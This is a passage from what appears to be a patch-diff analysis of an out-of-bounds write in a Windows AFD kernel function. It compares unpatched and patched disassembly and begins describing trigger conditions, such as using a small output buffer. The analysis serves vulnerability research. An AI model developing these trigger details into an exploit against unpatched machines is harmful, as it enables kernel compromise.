&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C44F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;A8h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_60&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C454&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; Src = connection data + 0x16&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C461&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; dst inside MDL-mapped buffer&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C464&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; *** unbounded copy ***&lt;/span&gt;

&lt;span class="c1"&gt;; === transport-address copy, user-transport variant (flag == 0) ===&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C4AE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8w&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C4B2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; size = *(+0x14) + 8&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C4B6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r10&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; Src = connection data + 0x10&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C4C0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C4C3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; dst inside MDL-mapped buffer&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C4C6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; *** unbounded copy ***&lt;/span&gt;

&lt;span class="c1"&gt;; === ancillary copy, gated only by (*(rbx+0x18) != 0) ===&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C4CB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C4CE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1C007C56B&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C512&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; size from +0x18 field&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C51E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; + 2  (kernel variant)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C529&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; *** unbounded copy ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C54B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C551&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; + 4  (user variant)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C55E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; *** unbounded copy ***&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;AfdSanAcceptCore&lt;/code&gt; @ &lt;code&gt;0x1C007C0CC&lt;/code&gt; — patched (bounded, feature-gated)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; === capacity gate now has a real lower bound behind the feature flag ===&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C3B8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; esi = 0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C3BB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1C007C6A5&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; bail if length == 0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C3C1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_97988921__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C3C6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C3C8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C007C3D4&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C3CA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Ch&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; *** NEW: require length &amp;gt;= 12 ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C3CE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C007C6A5&lt;/span&gt;

&lt;span class="c1"&gt;; === user-transport variant: clamp size to the output-buffer length ===&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C4C1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_97988921__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C4C6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C4C8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C007C4D4&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C4CA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C4CD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C4D0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmovb&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; *** NEW: clamp size to length ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C4F5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; Size = clamped&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C50E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memmove&lt;/span&gt;

&lt;span class="c1"&gt;; === kernel-transport variant: overflow-safe clamp to (length - 2) ===&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C405&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_97988921__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C40E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C411&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; length - 2&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C418&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C41B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1C007C426&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C41D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C422&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r12w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r13w&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; *** NEW: clamp to length - 2 ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C4A9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memmove&lt;/span&gt;

&lt;span class="c1"&gt;; === ancillary copy: new minimum-size guard + clamp (feature on); old path when off ===&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C519&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_97988921__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C528&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C52A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C007C617&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; feature off -&amp;gt; old unbounded fallback&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C530&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C533&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C007C6A5&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; *** NEW: require ancillary length &amp;gt;= 6 ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C5AD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmovnb&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;dx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r13w&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; *** NEW: clamp (kernel variant) ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C5C2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memmove&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C5FC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmovge&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;dx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r13w&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; *** NEW: clamp (user variant) ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C60D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memmove&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C66E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; feature-off fallback (unbounded, == unpatched)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C6A0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; feature-off fallback (unbounded, == unpatched)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key takeaways:&lt;/strong&gt;
- The output-buffer length lives at &lt;code&gt;*(rbx+0x10)&lt;/code&gt; where &lt;code&gt;rbx = *(IRP+0xB8)&lt;/code&gt;. In the unpatched build it is only compared to zero.
- The copy sizes come from the connection transport-address words at &lt;code&gt;+0x14&lt;/code&gt; and &lt;code&gt;+0x18&lt;/code&gt;; in the unpatched build they reach &lt;code&gt;memmove&lt;/code&gt; with no upper bound.
- The patch adds a length floor (&lt;code&gt;&amp;gt;= 0xC&lt;/code&gt;), size clamps (&lt;code&gt;cmovb&lt;/code&gt; / overflow-safe &lt;code&gt;sub&lt;/code&gt;/&lt;code&gt;cmp&lt;/code&gt;, &lt;code&gt;cmovnb&lt;/code&gt;/&lt;code&gt;cmovge&lt;/code&gt;), and an ancillary minimum-size gate (&lt;code&gt;cmp eax, 6&lt;/code&gt;), all behind &lt;code&gt;Feature_97988921__private_IsEnabledDeviceUsage&lt;/code&gt;.
- The same &lt;code&gt;memmove&lt;/code&gt; function is used before and after; its address moved (&lt;code&gt;0x1C000A400&lt;/code&gt; → &lt;code&gt;0x1C000A380&lt;/code&gt;) only because the module relocated.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;The out-of-bounds write occurs when &lt;code&gt;AfdSanAcceptCore&lt;/code&gt; (or &lt;code&gt;AfdSanConnectHandler&lt;/code&gt;) copies a transport address whose length field exceeds the caller's output-buffer length, and the patch's feature flag is not in effect (unpatched build, or patched build with the feature disabled).&lt;/p&gt;
&lt;p&gt;Preconditions visible in the code:
1. The accept output buffer is caller-supplied and MDL-mapped; its length is &lt;code&gt;*( *(IRP+0xB8) + 0x10 )&lt;/code&gt;. A small output buffer makes the overflow easier.
